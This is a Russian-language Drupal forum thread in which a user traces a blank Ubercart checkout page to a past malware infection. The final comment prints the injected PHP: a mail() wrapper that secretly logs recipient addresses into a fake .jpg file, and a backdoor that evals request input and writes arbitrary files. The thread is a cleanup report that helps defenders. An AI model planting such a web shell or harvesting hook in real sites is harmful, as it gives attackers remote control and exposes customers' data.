[РЕШЕНО] Ubercart: после завершения заказа (cart/checkout/complete) — пустая страница

Главные вкладки

Аватар пользователя vkapas vkapas 25 сентября 2013 в 23:07

Дано: Ubercart 2, слегка модифицированная Pixture Reloaded.

Проблема следующая: после оформления заказа на последнем этапе, на странице cart/checkout/complete появляется пустая страница (Chromium говорит о Internal Server Error, ошибка 500). При этом заказ регистрируется в Ubercart и отправляется на почту админу (правда, покупателю письмо о заказе не приходит, несмотря на то, что это правило установлено).

Если страницу обновить, — появляется сообщение «Заказ завершён», номер заказа и т.д., как будто проблемы и не было.

Проблема не зависит ни от браузера, ни от товара, ни от пользователя, ни от параметров заказа.

В чём может быть проблема? Откуда копать? На форуме пару раз поднималась подобная проблема, но решения никто не нашёл.

UPD. Причина оказалась в вирусе. Подробности — ниже.

Комментарии

Аватар пользователя vkapas vkapas 30 сентября 2013 в 19:16

Видимо всё-таки ошибка в коде: раскопал старый архив сайта, поднял на том же хостинге — всё в порядке.

Не подскажите, как можно сократить поиск — как выяснить, где именно кроется ошибка?

Аватар пользователя vkapas vkapas 1 октября 2013 в 12:15

Проблему решил. Причиной оказалась вирусная атака, перенесённая сайтом пару месяцев назад.

Проблема была в файлах uc_order-admin.tpl.php и uc_order-customer.tpl.php, которые находятся в каталоге sites/all/modules/ubercart/uc_order/templates/. В коде обоих шаблонов в начале файла, после <?рhр, находился кусок кода, запускающий вирусный файл при оформлении покупки через Ubercart:

<?php
/* 37e1acb47735c1611b6ab2d51e663f2c */ function xmail () { $a=func_get_args(); file_put_contents('/home/u1324/domains/site.ru/sites/all/modules/ckeditor/plugins/linktonode/images/vy7.jpg'x($_SERVER['REQUEST_URI']. ' ' .$a[0]."\n"), FILE_APPEND); return mail($a[0],$a[1],$a[2], $a[3]);} function x($s) { $t=$s$o ''; for($i=0;$i<strlen($t);$i++){ $o .= $t{$i} ^ '0';} return $o;}?><?php
?>

Как видно, код запускает вирусный файл, находящийся в каталоге sites/all/modules/ckeditor/plugins/linktonode/images/. Всего (исключая незаражённые файлы) там находилось вот 3 файла: h9u.jpg, vy7.jpg, и index.php — где сидела сама зараза:


<?php $erqm "d52eb139348265bdb910d5428d12c1e6"; if(isset($_REQUEST['bxwlmdd'])) { $hjlt $_REQUEST['bxwlmdd']; eval($hjlt); exit(); } if(isset($_REQUEST['gyyz'])) { $bblyf $_REQUEST['sajmye']; $hveuesrm $_REQUEST['gyyz']; $vswzhj fopen($hveuesrm'w'); $rajei fwrite($vswzhj$bblyf); fclose($vswzhj); echo $rajei; exit(); }
?>

Как только я удалил вирусный код из шаблонов ubercart и файлы из каталога ckeditor, описанная в топике проблема решилась.